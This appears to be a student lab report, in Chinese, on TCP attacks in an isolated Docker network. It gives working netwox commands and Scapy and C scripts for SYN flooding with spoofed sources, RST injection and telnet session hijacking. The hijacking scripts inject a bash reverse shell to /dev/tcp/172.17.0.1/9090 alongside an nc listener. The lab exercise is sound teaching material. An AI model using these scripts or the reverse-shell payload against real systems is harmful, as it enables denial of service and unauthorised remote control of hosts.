你的用户机IP、目标机(服务器)IP、攻击机IP
用户机IP: 172.17.0.2
目标机(服务器)IP: 172.17.0.3
攻击机IP: 172.17.0.1
netwox进行TCP SYN-Flooding攻击
(1)利用netwox工具,列出你的攻击命令。
(2)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图进行说明;
(3) 打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图进行说明
$ sudo netwox 76 -i 172.17.0.3 -p 23
172.17.0.3
的 telnet, 可以正常登录172.17.0.2
建立了一条tcp连接$ sudo netwox 76 -i 172.17.0.3 -p 23
SYN_RECV
scapy进行TCP SYN-Flooding攻击
(1)利用scapy进行攻击,提交scapy脚本
(2)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
(3) 打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
#!/usr/bin/python2
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
a = IP(dst="172.17.0.3") # server IP
b = TCP(sport=1551, dport=23, seq=1551, flags='S')
pkt = a/b
while True:
pkt['IP'].src = str(IPv4Address(getrandbits(32)))
send(pkt, verbose = 0)
172.17.0.2
建立了一条tcp连接172.17.0.3
, 然后执行脚本C程序进行TCP SYN-Flooding攻击
(1)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
(2) 打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
(3)提交C代码片段(修改部分)
#include
#include
#include
#include
#include
#include
#include
#include
#include "myheader.h"
#define DEST_IP "172.17.0.3" //srver ip
#define DEST_PORT 23 // Attack the web server
#define PACKET_LEN 1500
unsigned short calculate_tcp_checksum(struct ipheader *ip);
void send_raw_ip_packet(struct ipheader* ip);
/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main() {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer +
sizeof(struct ipheader));
srand(time(0)); // Initialize the seed for random # generation.
while (1) {
memset(buffer, 0, PACKET_LEN);
/*********************************************************
Step 1: Fill in the TCP header.
********************************************************/
tcp->tcp_sport = rand(); // Use random source port
tcp->tcp_dport = htons(DEST_PORT);
tcp->tcp_seq = rand(); // Use random sequence #
tcp->tcp_offx2 = 0x50;
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
tcp->tcp_win = htons(20000);
tcp->tcp_sum = 0;
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
ip->iph_ver = 4; // Version (IPV4)
ip->iph_ihl = 5; // Header length
ip->iph_ttl = 50; // Time to live
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
ip->iph_destip.s_addr = inet_addr(DEST_IP);
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct tcpheader));
// Calculate tcp checksum
tcp->tcp_sum = calculate_tcp_checksum(ip);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(ip);
}
return 0;
}
/*************************************************************
Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
/*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all
* the carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
}
/****************************************************************
TCP checksum is calculated on the pseudo header, which includes
the TCP header and data, plus some part of the IP header.
Therefore, we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
sizeof(struct ipheader));
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
/* pseudo tcp header for the checksum computation */
struct pseudo_tcp p_tcp;
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
p_tcp.saddr = ip->iph_sourceip.s_addr;
p_tcp.daddr = ip->iph_destip.s_addr;
p_tcp.mbz = 0;
p_tcp.ptcl = IPPROTO_TCP;
p_tcp.tcpl = htons(tcp_len);
memcpy(&p_tcp.tcp, tcp, tcp_len);
return (unsigned short) in_cksum((unsigned short *)&p_tcp,
tcp_len + 12);
}
用netwox进行TCP Reset 攻击
(1)Wireshark截包截图,截图中需要包含TCP首部关键信息;
(2)利用netwox工具,列出你的攻击命令(需要跟上面的Wireshark截图匹配);
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?
使用netwox时无需关注数据包, 因此此处未对具体数据包截图
$ sudo netwox 78 -d docker0
172.17.0.2
)建立了一条tcp连接172.17.0.2
)与服务机(172.170.0.3
)的报文docker0
网卡, 即与客户机同网络的网卡用scapy进行TCP Reset手动 攻击
(1)Wireshark截包截图,截图中需要包含TCP首部关键信息;
(2)利用scapy工具,贴出你的scapy脚本(需要跟上面的Wireshark截图匹配)
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?
reset_manual.py
#!/usr/bin/python3
from scapy.all import *
print("SENDING RESET PACKET.........")
ip = IP(src="172.17.0.3", dst="172.17.0.2")
tcp = TCP(sport=23, dport=39188,flags="R",seq=3249877213)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
172.17.0.2
)发送给服务机(172.170.0.3
)的, 且得到了源端口号为 39188
, 目的端口号为 23
, 该报文的序列号为 3410403667
, 确认号为 324987721
3, 长度为 0
. 具体图像见上面 Wireshark 截图172.17.0.3
, 目的地址为客户机 172.17.0.2
. tcp报文构造一个 RST 包, 其中端口号和序列号参考捕获的tcp报文, 源端口为服务机端口 23
, 目的端口为客户机端口 39188
, 序列号时上述报文的确认号 3249877213
.用Scapy进行TCP Reset自动攻击
(1)贴出你的scapy脚本;
(2)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?
reset_auto.py
#!/usr/bin/python2
from scapy.all import *
SRC = "172.17.0.2" # client IP
DST = "172.17.0.3" # server IP
PORT = 23 # server port
def spoof(pkt):
old_tcp = pkt[TCP]
old_ip = pkt[IP]
#############################################
ip = IP( src = old_ip.dst , # server IP
dst = old_ip.src # client IP
)
tcp = TCP( sport = old_tcp.dport , # server port
dport = old_tcp.sport , # client port
seq = old_tcp.ack, # client->server ack
flags = "R"
)
#############################################
pkt = ip/tcp
send(pkt,verbose=0)
print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))
f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)
172.17.0.2
, 目标IP为服务机 172.17.0.3
, 端口号为 telnet 的 23
的报文.spoof
函数. 而 spoof
函数就是用来封装发送 RST 包的. 其中发送IP包的源IP就是捕获包的目的 IP, 也就是服务机 IP; 目的 IP 是捕获包的源 IP, 也就是客户机 IP; 然后发送 TCP 包的源端口号就是捕获包的目的端口号, 即服务器的端口号; 目的端口号是捕获包的源端口号, 即客户机的端口号; 然后序列号时捕获包的确认号, 同时带有复位比特R.用netwox进行TCP 会话劫持攻击,包括注入普通命令和反向shell
(1)Wireshark截包截图;
(2)利用netwox工具,列出你的攻击命令(需要跟Wireshark截图匹配);
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?
$ sudo netwox 40 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 39198 --tcp-dst 23 --tcp-seqnum 3039279538 --tcp-acknum 2771901797 --tcp-ack --tcp-window 227 --tcp-data "6c730d00"
39198
, TCP 的序列号为 2771901766
, 确认号为 3039279538
, TCP数据包长度为31字节. 可见上述 Wireshark 截图172.17.0.2
, 目的 IP 为服务器IP 172.17.0.3
, 源端口号由上述报文得到客户机端口号为 39198
, 目的端口号即服务器 telnet 端口号 23
, tcp 的序列号为上述报文的确认号, 即 3039279538
; tcp的确认号为 上述报文的序列号2771901766+TCP报文长度31=2771901797
, 窗口大小为上述报文中获取的 227
.ls
的执行结果, ls
转换成16进制并加上 \r
的16进制数得到 6c730d00
, 作为tcp的数据部分.$ sudo netwox 40 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 39464 --tcp-dst 23 --tcp-seqnum 3046193310 --tcp-acknum 395284271 --tcp-ack --tcp-window 227 --tcp-data "2f62696e2f62617368202d69203e202f6465762f7463702f3137322e31372e302e312f3930393020303c263120323e26310d00"
其中, 数据为 /bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1
的16进制形式
nc -l 9090 -v
用scapy进行TCP会话劫持 手动攻击,包括注入普通命令和反向shell
(1)Wireshark截包截图
(2)利用scapy工具,贴出你的scapy脚本(需要跟Wireshark截图匹配)
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?
hijacking_manual.py
#!/usr/bin/python2
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=39222, dport=23, flags="A", seq=1566209905, ack=2293856876)
data = "\n touch /tmp/myfile.txt\n"
pkt = ip/tcp/data
send(pkt, verbose=0)
touch
命令新建在服务器 tmp 目录下创建 myfile.txt
文件.myfile.txt
, 证明攻击者劫持会话成功.hijacking_manual_shell.py
#!/usr/bin/python2
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=39472, dport=23, flags="A", seq=1572284240, ack=1730912667)
data = "\n/bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1\n"
pkt = ip/tcp/data
send(pkt, verbose=0)
用Scapy进行TCP 会话劫持自动攻击,包括注入普通命令和反向shell
(1)贴出你的scapy脚本;
(2)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?
hijacking_auto.py
#!/usr/bin/python2
from scapy.all import *
SERVER_IP = "172.17.0.3"
CLIENT_IP = "172.17.0.2"
SERVER_PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if Raw not in pkt: # not telnet
return
old_raw = pkt[Raw] # data
if not old_raw.load.endswith(':~$ '): # not load
return
#############################################
ip = IP( src = old_ip.dst,
dst = old_ip.src
)
tcp = TCP( sport = old_tcp.dport,
dport = old_tcp.sport,
seq = old_tcp.ack,
ack = old_tcp.seq+len(old_raw),
flags = "A"
)
data = 'echo hijacking\r'
#############################################
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
quit()
f = 'tcp and src host {} and dst host {} and src port {}'.format(SERVER_IP, CLIENT_IP, SERVER_PORT)
sniff(filter=f, prn=spoof)
sniff()
函数中设置回调函数 spoof()
. 首先判断当前截获的数据包是否有数据包 Raw
, 如果没有的话就跳过, 表明当前数据包不包括应用层的 telnet 数据. 然后判断 telnet 数据包中的数据(load
)是否以字符串 :~$
结尾, 只有以该字符串结尾才能表明当前客户机成功登录到了服务器的 telnet, 否则同样跳过该数据包.echo hijacking\r
, 即让服务器回显字符串 hijacking
.hijacking
字符串的回显数据包, 证明成功实现了自动TCP会话劫持.hijacking_auto_shell.py
#!/usr/bin/python2
from scapy.all import *
SERVER_IP = "172.17.0.3"
CLIENT_IP = "172.17.0.2"
SERVER_PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if Raw not in pkt: # not telnet
return
old_raw = pkt[Raw] # data
if not old_raw.load.endswith(':~$ '): # not load
return
#############################################
ip = IP( src = old_ip.dst,
dst = old_ip.src
)
tcp = TCP( sport = old_tcp.dport,
dport = old_tcp.sport,
seq = old_tcp.ack,
ack = old_tcp.seq+len(old_raw),
flags = "A"
)
data = '\n/bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1\n'
#############################################
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
quit()
f = 'tcp and src host {} and dst host {} and src port {}'.format(SERVER_IP, CLIENT_IP, SERVER_PORT)
sniff(filter=f, prn=spoof)